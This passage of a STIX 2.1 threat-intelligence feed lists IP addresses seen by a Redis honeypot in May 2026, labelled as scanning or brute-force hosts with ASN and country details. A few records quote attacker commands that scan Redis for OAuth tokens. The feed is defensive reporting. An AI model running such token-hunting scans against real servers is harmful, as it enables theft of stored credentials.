      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:25:10.000Z",
      "valid_until": "2026-06-28T08:25:09.000Z"
    },
    {
      "created": "2026-05-27T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--1faf0bf9-1477-42ed-a582-a6e1cec15b64",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-27T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:25:10.000Z",
      "valid_until": "2026-06-28T08:25:09.000Z"
    },
    {
      "created": "2026-05-27T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--0724f7e5-0c55-4fb9-bcce-28856ef6f5a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:25:10.000Z",
      "valid_until": "2026-06-28T08:25:09.000Z"
    },
    {
      "created": "2026-05-27T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--be80cae7-6ae8-4fb7-b2a0-809f203f4b97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T08:25:10.000Z",
      "valid_until": "2026-06-28T08:25:09.000Z"
    },
    {
      "created": "2026-05-27T13:25:40.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--ffadaa1c-3e52-4bf8-a5d6-2a5511189457",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-27T13:25:40.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.42.1.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T13:25:40.000Z",
      "valid_until": "2026-06-28T13:25:09.000Z"
    },
    {
      "created": "2026-05-27T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--12c31996-32af-4842-802e-76f2ed341fbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '40.124.173.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:25:10.000Z",
      "valid_until": "2026-06-28T16:25:09.000Z"
    },
    {
      "created": "2026-05-27T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--7f5f4b7c-2f11-4161-b38d-e45746d77aa4",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-27T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '161.35.10.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T18:25:10.000Z",
      "valid_until": "2026-06-28T18:25:09.000Z"
    },
    {
      "created": "2026-05-27T19:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--68ebda31-294a-4189-a0e4-4a32f4e72040",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T19:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.240.236.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:25:10.000Z",
      "valid_until": "2026-06-28T19:25:09.000Z"
    },
    {
      "created": "2026-05-27T20:25:40.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=US; asn=396982; asn_org=Google LLC; redis_cmd_hits=0",
      "id": "indicator--7778318d-9605-473d-a37d-0d8aa916f2c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T20:25:40.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T20:25:40.000Z",
      "valid_until": "2026-06-28T20:25:09.000Z"
    },
    {
      "created": "2026-05-27T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--6cd88b5e-3a84-4d7b-9c9b-cbe312f43ac8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-27T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '101.35.251.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T21:25:10.000Z",
      "valid_until": "2026-06-28T21:25:09.000Z"
    },
    {
      "created": "2026-05-27T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=US; asn=22363; asn_org=Powerhouse Management, Inc.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--dd32b757-82d1-4a1b-a704-c42af0f775db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '128.90.63.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T21:25:10.000Z",
      "valid_until": "2026-06-28T21:25:09.000Z"
    },
    {
      "created": "2026-05-27T23:25:15.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=21; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--ada5160d-a91f-4a2d-9621-1aa9fcde905b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T23:25:15.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.198.117.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T23:25:15.000Z",
      "valid_until": "2026-06-28T23:25:09.000Z"
    },
    {
      "created": "2026-05-27T23:25:15.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--a19f8142-9800-4c50-a9d6-b8c65b804679",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-27T23:25:15.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.227.88.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T23:25:15.000Z",
      "valid_until": "2026-06-28T23:25:09.000Z"
    },
    {
      "created": "2026-05-28T00:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--cdb9ef33-6197-4b2f-a6d2-8a543ff0375c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-28T00:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:25:11.000Z",
      "valid_until": "2026-06-29T00:25:09.000Z"
    },
    {
      "created": "2026-05-28T00:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--1ed32274-b27e-4982-81ee-6b29a312c911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T00:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:25:11.000Z",
      "valid_until": "2026-06-29T00:25:09.000Z"
    },
    {
      "created": "2026-05-28T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--6b1c20df-53b0-4dfb-bcd0-4347842aac26",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-28T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '137.184.222.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T05:25:10.000Z",
      "valid_until": "2026-06-29T05:25:09.000Z"
    },
    {
      "created": "2026-05-28T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--1f029460-371d-41e2-92ba-c9dcbc719f49",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-28T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.68.26.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T05:25:10.000Z",
      "valid_until": "2026-06-29T05:25:09.000Z"
    },
    {
      "created": "2026-05-28T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=28; ports=6379; cc=MX; asn=265523; asn_org=Sierra Madre Internet SA de CV; cats=Generic Protocol Command Decode,Misc activity; redis_cmds=GET /robots.txt HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--c2d499ce-bd9a-4bab-b67f-104629804ebc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '177.125.137.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T05:25:10.000Z",
      "valid_until": "2026-06-29T05:25:09.000Z"
    },
    {
      "created": "2026-05-28T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--5fbe2084-b986-4aed-801b-4c57b79b4cec",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-28T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.23.135.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T06:25:10.000Z",
      "valid_until": "2026-06-29T06:25:09.000Z"
    },
    {
      "created": "2026-05-28T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=GB; asn=211298; asn_org=Driftnet Ltd; redis_cmd_hits=0",
      "id": "indicator--4a52f85a-873b-4a21-8f60-61ef5ceec466",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-28T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.163.125.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T07:25:10.000Z",
      "valid_until": "2026-06-29T07:25:09.000Z"
    },
    {
      "created": "2026-05-28T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=SE; asn=30893; asn_org=No ACK Group Holding AB; redis_cmd_hits=0",
      "id": "indicator--61bacebf-1910-4d67-86e7-55418915fc4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.175.218.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T07:25:10.000Z",
      "valid_until": "2026-06-29T07:25:09.000Z"
    },
    {
      "created": "2026-05-28T10:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=US; asn=214478; asn_org=Sakura Clouds LLC; redis_cmds=SCAN 0 MATCH oauth:* COUNT 3,SCAN 0 MATCH oauth:token:* COUNT 3; redis_cmd_hits=0",
      "id": "indicator--f147eb61-cb6a-44e5-9adc-82b6fec8bce3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T10:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '77.111.110.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T10:25:03.000Z",
      "valid_until": "2026-06-29T10:25:02.000Z"
    },
    {
      "created": "2026-05-28T11:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--7e0e0a54-f03f-42fd-aaa8-a36c13afd6fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T11:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.163.15.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T11:25:03.000Z",
      "valid_until": "2026-06-29T11:25:02.000Z"
    },
    {
      "created": "2026-05-28T13:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--35c03d8e-255b-4316-bba9-6a9fcc93f14d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T13:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T13:25:03.000Z",
      "valid_until": "2026-06-29T13:25:02.000Z"
    },
    {
      "created": "2026-05-28T13:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=28; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T13:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T13:25:03.000Z",
      "valid_until": "2026-06-29T13:25:02.000Z"
    },
    {
      "created": "2026-05-28T13:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--2c62911f-67a8-43b1-ab8a-1501365411bb",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-28T13:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T13:25:03.000Z",
      "valid_until": "2026-06-29T13:25:02.000Z"
    },
    {
      "created": "2026-05-28T14:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=FR; asn=51167; asn_org=Contabo GmbH; redis_cmd_hits=0",
      "id": "indicator--e54cda83-9a82-4aa2-b8c5-8734ded01f1e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-28T14:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.189.139.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T14:25:03.000Z",
      "valid_until": "2026-06-29T14:25:02.000Z"
    },
    {
      "created": "2026-05-28T16:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=JP; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--cc215133-f976-412d-8b94-caf5d22e63a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T16:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.221.139.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T16:25:09.000Z",
      "valid_until": "2026-06-29T16:25:04.000Z"
    },
    {
      "created": "2026-05-28T18:25:06.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--d70c4f00-20e9-4979-88e7-08e2ae96eea7",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-28T18:25:06.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '43.139.215.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T18:25:06.000Z",
      "valid_until": "2026-06-29T18:25:04.000Z"
    },
    {
      "created": "2026-05-28T19:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=7; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--f329ad28-4ac6-4e42-8b63-22e493ec8f67",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-28T19:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.93.249.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T19:25:03.000Z",
      "valid_until": "2026-06-29T19:25:01.000Z"
    },
    {
      "created": "2026-05-28T22:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=FR; asn=16276; asn_org=OVH SAS; redis_cmd_hits=0",
      "id": "indicator--bb8fad44-4516-4551-9036-c07df8e7e8b6",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-28T22:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.187.87.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T22:25:03.000Z",
      "valid_until": "2026-06-29T22:25:01.000Z"
    },
    {
      "created": "2026-05-29T01:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--5e018229-556b-4dbd-b37f-f1ef78742c25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T01:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T01:25:03.000Z",
      "valid_until": "2026-06-30T01:25:02.000Z"
    },
    {
      "created": "2026-05-29T01:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--d03cf6ae-9476-4a51-8ea1-adb0ed80ee99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T01:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T01:25:03.000Z",
      "valid_until": "2026-06-30T01:25:02.000Z"
    },
    {
      "created": "2026-05-29T02:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--5546d2da-7c64-4914-ad17-3be027aa844e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-29T02:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:25:04.000Z",
      "valid_until": "2026-06-30T02:25:02.000Z"
    },
    {
      "created": "2026-05-29T02:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398722; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--5638aabc-739c-4254-8032-1a8be383f58b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T02:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:25:04.000Z",
      "valid_until": "2026-06-30T02:25:02.000Z"
    },
    {
      "created": "2026-05-29T04:27:20.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--b4a05d0b-813b-4960-8e75-b41687de2405",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-29T04:27:20.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '137.184.205.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T04:27:20.000Z",
      "valid_until": "2026-06-30T04:25:02.000Z"
    },
    {
      "created": "2026-05-29T04:27:20.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=76; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--328ca3da-4ce5-4afa-9add-779b83049945",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T04:27:20.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.21.158.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T04:27:20.000Z",
      "valid_until": "2026-06-30T04:25:02.000Z"
    },
    {
      "created": "2026-05-29T04:27:20.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=NL; asn=216071; asn_org=Servers Tech Fzco; redis_cmd_hits=0",
      "id": "indicator--3feeb896-1e53-4a12-9e80-b2b8554a3e1d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-29T04:27:20.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.84.118.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T04:27:20.000Z",
      "valid_until": "2026-06-30T04:25:02.000Z"
    },
    {
      "created": "2026-05-29T06:25:03.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--0f7b8552-2ce5-4b9f-9090-d2b823ddb116",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-29T06:25:03.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '118.25.55.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T06:25:03.000Z",
      "valid_until": "2026-06-30T06:25:02.000Z"
    },
    {
      "created": "2026-05-29T07:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=24; ports=6379; cc=HK; asn=9269; asn_org=Hong Kong Broadband Network Ltd.; redis_cmds=SCAN 0 MATCH oauth:* COUNT 3,SCAN 0 MATCH oauth:token:* COUNT 3; redis_cmd_hits=0",
      "id": "indicator--922516fb-c862-414f-9a49-56b2363d95d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-29T07:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '123.202.137.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
